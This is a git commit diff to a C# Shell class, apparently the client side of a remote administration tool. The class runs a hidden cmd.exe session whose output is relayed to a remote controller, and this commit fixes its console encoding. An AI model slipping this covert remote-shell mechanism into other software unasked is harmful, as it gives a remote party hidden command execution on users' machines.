This commit is contained in:
MaxXor 2016-08-12 21:33:15 +02:00
parent 0d3a3e427d
commit 92e6719d4e
1 changed files with 31 additions and 5 deletions

View File

@ -35,6 +35,16 @@ public class Shell : IDisposable
/// </summary>
private readonly object _readStreamLock = new object();
/// <summary>
/// The current console encoding.
/// </summary>
private Encoding _encoding;
/// <summary>
/// Redirects commands to the standard input stream of the console with the correct encoding.
/// </summary>
private StreamWriter _inputWriter;
/// <summary>
/// Creates a new session of the Shell
/// </summary>
@ -46,6 +56,7 @@ private void CreateSession()
}
CultureInfo cultureInfo = CultureInfo.InstalledUICulture;
_encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage);
_prc = new Process
{
@ -55,8 +66,8 @@ private void CreateSession()
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
StandardOutputEncoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage),
StandardErrorEncoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage),
StandardOutputEncoding = _encoding,
StandardErrorEncoding = _encoding,
CreateNoWindow = true,
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
Arguments = "/K"
@ -68,6 +79,9 @@ private void CreateSession()
// Fire up the logic to redirect the outputs and handle them.
RedirectOutputs();
// Change console code page
ExecuteCommand("chcp " + _encoding.CodePage);
new Packets.ClientPackets.DoShellExecuteResponse(Environment.NewLine + ">> New Session created" + Environment.NewLine).Execute(
Program.ConnectClient);
}
@ -121,7 +135,9 @@ private void SendAndFlushBuffer(ref StringBuilder textbuffer, bool isError)
{
if (textbuffer.Length == 0) return;
var toSend = textbuffer.ToString();
var text = textbuffer.ToString();
byte[] utf8Text = Encoding.Convert(_encoding, Encoding.UTF8, _encoding.GetBytes(text));
var toSend = Encoding.UTF8.GetString(utf8Text);
if (string.IsNullOrEmpty(toSend)) return;
@ -231,8 +247,16 @@ public bool ExecuteCommand(string command)
if (_prc == null) return false;
_prc.StandardInput.WriteLine(command);
_prc.StandardInput.Flush();
if (_inputWriter == null)
{
_inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding);
}
byte[] rawCommand = Encoding.Convert(Encoding.UTF8, _encoding, Encoding.UTF8.GetBytes(command));
string fixedEncodedCommand = _encoding.GetString(rawCommand);
_inputWriter.WriteLine(fixedEncodedCommand);
_inputWriter.Flush();
return true;
}
@ -276,6 +300,8 @@ protected virtual void Dispose(bool disposing)
{
}
}
_inputWriter.Close();
_inputWriter = null;
_prc.Dispose();
_prc = null;
}